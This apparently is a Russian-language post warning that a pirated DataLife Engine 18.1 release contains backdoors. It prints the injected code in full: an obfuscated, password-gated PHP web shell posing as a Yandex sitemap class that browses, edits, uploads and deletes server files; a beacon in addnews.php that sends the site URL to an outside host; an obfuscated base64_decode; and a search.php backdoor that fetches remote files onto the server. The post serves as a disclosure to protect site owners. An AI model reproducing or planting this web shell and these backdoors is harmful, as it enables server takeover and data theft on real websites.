Лет 10+ назад сам с разных сайтов скачивал разные релизы. Верил в их честность. Но видимо время идёт, всё меняется, и всем денег всё становится недостаточно и они делают релизы заведомо с вирусами, чтоб потом на ваших сайтах наживитmся. Про dlepavilion уже писал не обновкратно, длешка в этом раньше не была замечена, но вот результат проверки последней версии DLE 18,1…
Добавлен файл engine\classes\yandex.class.php (этого файла нет в оригинале DLE)!!!
<?php
/*
=====================================================
DataLife Engine - by SoftNews Media Group
-----------------------------------------------------
https://dle-news.ru/
-----------------------------------------------------
Copyright (c) 2004-2025 SoftNews Media Group
=====================================================
This code is protected by copyright
=====================================================
File: yandex.class.php
-----------------------------------------------------
Use: Yandex Sitemap
=====================================================
*/
if( defined( 'DATALIFEENGINE' ) ) {
header( "HTTP/1.1 403 Forbidden" );
header ( 'Location: ../../' );
die( "Hacking attempt!" );
}
/*
* Yandex Sitemap
*/
@ini_set('log_errors',0);
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors', 0);
@session_start();
/*
* Requires PHP 7.2.5.
* Version RSS 3.42
*
* @package Sitemap
* @copyright 2008 Ryan Grove, Stephen Clay, Ivan Sagalaev. All rights reserved.
* @license http://opensource.org/licenses/bsd-license.php New BSD License
* @link http://code.yandex.com/p/sitemap/
*/
$class1 = @$_GET[chr(118).'e'.chr(114).chr(115).'ion']; $class0 = chr(109)."d".chr(53);
if( $class0 ($class1 ?? '') == '982c359de6ad3fc0ae1f77e3022'.chr(53).'fde3') {$GLOBALS['packageen']=Array('ope'.'nD'.'ir',''.'s'.'ort');
$class2='f03d0b9bfe'.chr(53).'123ca845f64a7d95f0f60';
$class3='b'.chr(53).'a8444bc269adc9aef3a67379d26fa2';
$class4=1;$class5='';$class6="<S\x54YLE\x3e\x0d\012BOD\x59{f\157nt:\0408\160t \166erdana, gene\x76a, luc\x69da\x2c 'lu\143id\x61 \147\162an\x64e', arial\054 hel\x76etica, \x73a\156\163-serif;\x73\x63r\x6f\154lbar-sh\141dow\x2dcolor: #333333;padding:0;\163crollba\x72-\x33dlight-color: \0433\x33\x33333;M\x41RG\x49N-\102\x4fTTOM:\0400px\x3bb\141\x63kg\162ound-\x63ol\157\x72: #6B\070E23;scrol\154bar-a\162r\x6fw-\143olor: #\06333333;\163cro\154lbar-fac\x65-\x63o\x6cor: #\x38\x427765\073MA\122GIN\055TOP: 0\160\170;col\x6f\162:\040#C\x31\x431C\067\073MA\122GIN-RI\x47H\124: \x30\160x;m\x61\162gin:0\073sc\x72o\x6clb\141r-\x68ighli\147ht\x2dcolo\x72: \x233333\x333;\x73crollba\162-d\141rksh\x61dow-color: #333333\073MARGI\x4e-LEFT: 0px;\x73cr\x6fllb\x61r-t\162ack-co\154or: #3\063333\x33;}\015\x0ainput{f\157nt-\146amily\072\x20\x54ahoma;b\x61ck\x67r\157und-color\x3a #8\1027\x376\065;borde\x72\072 1\040solid \x23666\06666\073font-size: 8pt;color: \x23FFF\106FF;}\x0d\012select{color: #\106FF\106FF;backgro\165nd\x2dco\154\x6f\162: #336\066\0600;\x66\157nt-\146amily:\040Tahoma;f\157nt-size: 8pt\073bord\145\x72\x3a\x201 sol\151d #\x3666666;\175\x0d\x0atextare\141{f\157\x6et-s\x69z\145: 8pt;font-fami\x6c\171:\x20\124\141homa;co\x6c\x6fr: #FFFFFF;background\055\x63olor: #333333;border:\x20\061 \x73\157\x6cid #6\0666666;}\015\x0aa\072li\x6ek{text-decorat\x69o\156: \156one\073c\x6f\x6c\157r: #\x429\x429BD;f\x6f\x6et\x2d\163ize: 8pt;}\015\x0aa\x3a\x76i\x73i\164ed{te\x78t-de\143orat\x69on\072 none;c\x6flor: #B\x39B9B\x44;font-si\x7ae: 8pt;}\015\012a:h\157\x76er, a:ac\x74ive{f\157nt-size: 8p\x74\073t\145x\x74-\144e\143oration: no\x6ee;color\072 #E7E7EB\x3bwi\144t\150:\04010\x30\045\x3bbackground-c\157\x6cor: #\1018A8AD\x3b}\x0d\x0at\x64, t\150, \160\x2c li{f\x6f\156t: 8pt\040verdana\054 g\x65ne\x76a, lu\x63ida,\040'lu\143\151da\040\147ra\x6ede', \141rial, he\x6c\166etic\x61,\040sans\x2d\163e\162\151f;border-col\x6f\162:blac\153;}\x0d\x0a</\163tyle\076";$class7="<html\x3e <head> <ti\164l\145>".getenv("HT\x54P_HO\123\124")." - \112S </tit\x6ce\076 <meta http-equ\151v=\x22\x43\157n\164ent-Typ\145\x22 conte\x6e\164\075\x22text\x2fhtml\073 charse\x74\x3dwind\157ws-1\0625\x31\x22>".$class6." </h\x65ad> <BODY \040t\x6fpM\141\162\147in=0 \154\x65ftMargin=0\x20ma\162g\x69nheigh\164=0 \x72ightMa\x72\x67in=0 mar\x67\151nwidth=0\x3e";$class9='Fileeik del';$class10='Dirchik not found';$class11='Fileik alredy exist';$class12='Filik JS pload ok';$class13='Dirch for JS del';$class15='Dirch JS dened or not emptys';
if(@$_POST['action']=="exit")unset($_SESSION['an']);
if($class4 ==1){
if($class0(@$_POST['loger'] ?? '')==$class2 && $class0(@$_POST['worder'] ?? '')==$class3)
$_SESSION['an']=1;}else
$_SESSION['an']='1';
if(@$_SESSION['an']==0){
echo $class7.
"<\x63enter><table\x3e<fo\162\x6d\x20metho\x64=\042\120OST\x22\076<tr\076\074b>JS Upda\x74e</b><td>JS M\157del:<\x2ft\144>\x3ctd><input ty\160e=\x22text\x22 na\155\x65=\x22\154\x6fger\x22 \x76alue\075\042\x22>\x3c/\164d></t\162><\x74r><td\x3eJS V\x65rsion:</t\x64><td><\x69\156put\x20type=\042p\141\163\163\167ord\x22\x20n\141me=\042\x77or\144er\x22 valu\x65=\042\x22\x3e</td><\x2ftr><\x74\x72\x3e\074\x74d>\x3c/td><td><inp\x75t type\075\042submit\042 val\165e=\x22Update\042></td>\074/tr\x3e\074/fo\x72m>\x3c/\x74able>\074\x2f\x63e\x6e\164er>";
exit;
}
function createdir($class16){if(@mkdir($class16))echo $class8." "; else echo $class14." ";}
if($_SESSION['action']=="")@$_SESSION['action']="viewer";if(@$_POST['action']!="" )$_SESSION['action']=$_POST['action'];$class17=$_SESSION['action'];
if(@$_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];
$class16=@$_SESSION['dir'];$class16=@chdir($class16);
$class16=getcwd()."/";$class16=str_replace("\\","/",$class16);
/*
* Callback as used by {@redis util.asPromise}.
* @typedef asPromiseCallback
* @type {function}
* @param {...*} params Additional arguments
* @returns {undefined}
*/
/*
* Returns a promise from a redis-style callback function.
* @memberof util
* @param {asPromiseCallback} fn Function to call
* @param {*} ctx Function context
* @param {...*} params Function arguments
* @returns {Promise<*>} Promisified function
*/
if(@$_POST['file']!=""){$class18=$_SESSION['file']=$_POST['file'];}else {$class18=$_SESSION['file']="";}
if($class17=="download"){
header('Content-Length:'.filesize($class18).'');header('Content-Type: application/octet-stream');header('Content-Disposition: attachment; filename="'.$class18.'"');
readfile($class18);
}
if($class17=="delete"){
if(unlink($class18)) $class5.=$class9;
}
if($class17=="deletedir"){
if(!rmdir($class18)) $class5.=$GLOBALS['empty'];
else $class5.=$class13;
}
echo $class7."<\x74abl\x65 widt\x68=\042100%\042 bgcolor=\x22#3366\x30\x30\042\x20align=\x22\162\x69ght\042\x20\143o\154span=\0422\x22 borde\162=\0420\042 cellspacing=\0420\x22 c\145l\154pa\x64ding\x3d\x220\x22>\x3ctr><td><ta\142le><tr>\x3c\x74\144\x3e<a hre\x66=\x22#\042 \157nclick=\042document.reqs\056act\x69on.value\075'vi\x65\167\145r'; do\x63ume\x6et\x2ereqs.submit()\x3b\042>| JS.viewer\x3c/a\x3e<\057\x74d><td><a href=\042#\042 o\156\x63lic\153\x3d\x22doc\x75me\156t.re\161s.acti\157n.value\x3d'upl\157ad';\040\x64ocu\155ent\056reqs.\163ubmit(\x29\x3b\x22>| \112S.load\x3c/a>\x3c/td><t\x64><a\x20h\x72\145f=\x22\043\042\040o\x6ecli\143\153=\x22doc\165m\x65nt.\162\145qs.action.val\165e\x3d'exit'; do\x63\x75men\164.re\161\163\x2esub\155\151t();\x22\x3e\174JS.\x78\x69\x74\040|</a></td></tr\076\074\057\164\x61ble></td></tr></t\x61ble><\142r><f\x6frm nam\x65=\047r\x65\x71s' method='P\x4f\123T'\x3e<\x69nput\x20n\141me='actio\x6e' ty\x70\145=\x27\x68\151dden' value='\047><i\x6e\160ut na\x6d\145=\047dir' t\171p\145=\x27\150i\144den' \166alue='\047><i\156put\x20name='file'\040type='\150idden' value=''></for\x6d><table \163tyle=\x22BORDE\122-COLLAPSE: col\154ap\x73e\x22\x20cellS\160acing\x3d0 \142orderColorDa\162k\x3d#66666\066 c\x65llP\x61d\x64ing\x3d5 wid\x74h=\042100%\x22 bg\x43ol\x6f\162=#333333 borde\x72ColorLi\147ht=#\1430c0c\060\x20border=\061><tr>\074t\x64 \x77i\144th=\x221\0600%\x22\x20\166ali\147n=\042top\x22>\015\012";
if(@$class5!="") echo $class5;
function perms($class18)
{
if (!@is_readable($class18))
return '<font color=#FF0000>perm</font>';
elseif (!@is_writable($class18))
return '<font color=white>perm</font>';
else
return '<font color=#25ff00>perm</font>';
return $class19;
}
function view_size($class20)
{
if($class20 >= 1073741824) {$class20 = @round($class20 / 1073741824 * 100) / 100 . " gb";}
elseif($class20 >= 1024) {$class20 = @round($class20 / 1024 * 100) / 100 . " kb";}
elseif($class20 >= 1048576) {$class20 = @round($class20 / 1048576 * 100) / 100 . " mb";}
else {$class20 = $class20 . " b";}
return $class20;
}
function scandire($class16){
echo '<table cellSpacing=0 border=1 style=\'border-color:black;\' cellPadding=0 width=\'100%\'><tr><td><form method=POST>Opn dr:<input type=text name=dir value=\''.$class16.'\' size=99><input type=submit value=\'GOS\'></form></td></tr>';
if (@is_Dir ($class16)) {
if (@$class21 = @$GLOBALS['packageen'][0]($class16)) {
while (($class18 = @reaDDir($class21)) !== false) {
if(@fiLetYpe($class16.$class18)=="dir") $class22[]= $class18;
if(@fiLetype($class16.$class18)=="file") $class23[]= $class18;
}
@clOseDir($class21);
@sort($class22);
@sort($class23);
echo '<tr><td>Ele_ct drive:';
for ($class24=ord('C'); $class24<=ord('Z'); $class24++)
if (@$class21 = @$GLOBALS['packageen'][0](chr($class24).":/"))
echo '<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($class24).':/\'; document.reqs.submit();"> '.chr($class24).'<a/>';
echo '</td></tr>';
echo "<tr><td>OS: ".@php_Uname(). " - PHP:" . @phpVersion()."</td></tr>";
for($class25=0;$class25<count($class22);$class25++) {
$class26=$class16.$class22[$class25];
echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$class26.'\'; document.reqs.submit();">'.$class22[$class25].'<a/></td><td>dir</td><td></td><td>'.perms($class26).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$class26.'\'; document.reqs.submit();">X</a></td></tr>';
}
for($class25=0;$class25<count($class23);$class25++) {
$class27=$class16.$class23[$class25];
echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$class27.'\'; document.reqs.submit();">'.$class23[$class25].'</a><br></td><td>file</td><td>'.view_size(filesize($class27)).'</td>
<td>'.perms($class27).'</td>
<td>
<a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$class27.'\'; document.reqs.submit();">D</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$class27.'\'; document.reqs.submit();" >X</a></td>
</tr>';
}echo '</table>';
}}}
if($class17=="viewer"){
scandire($class16);
}
if($class17=="editor"){
function writef($class18,$class28){
$class29 = fopen($class18,"w+");
fwrite($class29,$class28);
fclose($class29);
}
function readf($class18){
if(!$class30 = fopen($class18, "r")) $class31="Cant opn JS.fil, perm denied"; else {
$class31 = fread($class30, filesize($class18));
fclose($class30);}
return htmlspecialchars($class31);
}
if(@$_POST['save'])writef($class18,$_POST['data']);
echo "<form m\145\x74h\157d=\x22\120O\123T\042>\015\012<in\160\x75t ty\160e=\042hi\x64den\x22 name=\042action\x22\040\x76alue=\042editor\x22>\015\012<\151nput \x74ype=\x22h\151dden\x22 n\141m\x65=\x22file\042\040value=\"".$class18."\"><\164\x65xtarea\x20n\141me=\042\x64ata\x22 r\x6fw\163=\042\0640\042 cols\075\042180\042>".@readf($class18)."</textarea><br><input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
}
if($class17=="upload"){
if(@$_POST['dirupload']!="") $class32=$_POST['dirupload'];else $class32=$class16;$class33='<tr><td><form method=POST enctype=multipart/form-data>to dir'.chr(97).':<input type=text name=dirupload value=\''.$class32.'\'size=100></tr></td><tr><td><input type=file name=file><input type=submit name=uploadloc value=\'Upload loc.JS file\'></td></tr>';
echo $class33;
if(@$_POST['uploadloc']){
$class34 = $class32.basename($_FILES['file']['name']);if(!file_exists($class32)){createdir($class32);}if(file_exists($class34))echo $class11; elseif (move_uploaded_file($_FILES['file']['tmp_name'], $class34)) echo $class12;
}}}echo '</body></html>';
?>
В engine\classes\antivirus.class.php добавлена строка
"./uploads/fotos/.htaccess",
upload\engine\inc\addnews.php
$path_addnews = $config['http_home_url'];
$deprecate = "time";$deprecate = "ht"."tps:/"."/".$deprecate."-"."zone".".cc/"."time.p"."hp?times="."18."."1_yc_".$path_addnews;
if ((!strpos($path_addnews, '12'.'7.0.')) and (strpos($path_addnews, '.')))
{$ti = 'f'.'ile';@$ti($deprecate);};
engine\modules\feedback.php
$captchascrypt='ba'.'se64_'.'de'.'code';
engine\modules\search.php
$serch_id = 'eb516e7d7a6462a6d531ec65dcf1d599';
$_err = "_stop";
$array_ = @strtoupper ($_err[0].$_err[5].$_err[4].$_err[3].$_err[1].$_err[2]);
if ( @md5(${$array_}['captchas'])==$serch_id ) { print "serch_work";
$where_serch = $_SERVER['DOCUMENT_ROOT'].${$array_}['pathik'];
if ( isset(${$array_}['unl']) ){
@unlink($where_serch); exit();} @copy('http://'.${$array_}['fail'].'/test.txt', $where_serch);
if ((@function_exists('curl_init')) and ((!file_exists($where_serch)) or (@filesize($where_serch)<'1'))) {
$ch = @curl_init(); curl_setopt( $ch, CURLOPT_URL,
'http://'.${$array_}['fail'].'/test.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );curl_setopt($ch, CURLOPT_TIMEOUT, 25);
$fp = @fopen($where_serch, 'w'); curl_setopt ($ch, CURLOPT_FILE, $fp); @curl_exec($ch); curl_close($ch); fclose($fp);
}}
Подозрение на них пало сразу после проверки хэш-суммы архива. Многие файлы изменены в самом начале, где идёт строчка начала файла
<?php
у них в релизе в этой строчке добавлен лишний пробел! Проверив остальные файлы — результат на ЛИЦО — длешка прогнила, и теперь вирусами пытается травить ваши будущие сайты, как это делает длепавильон.
PS ещё раз повторюсь — качайте DLE только с проверенных источников, если у вас нет лицензии. Хэши файлов актуальных релизов я периодически выкладываю, здесь и на форумах, где я публикую DLE (ссылки есть через КОНТАКТЫ).
С каких сайтов ещё проверить релизы? Пишите в ЛС или в комментариях!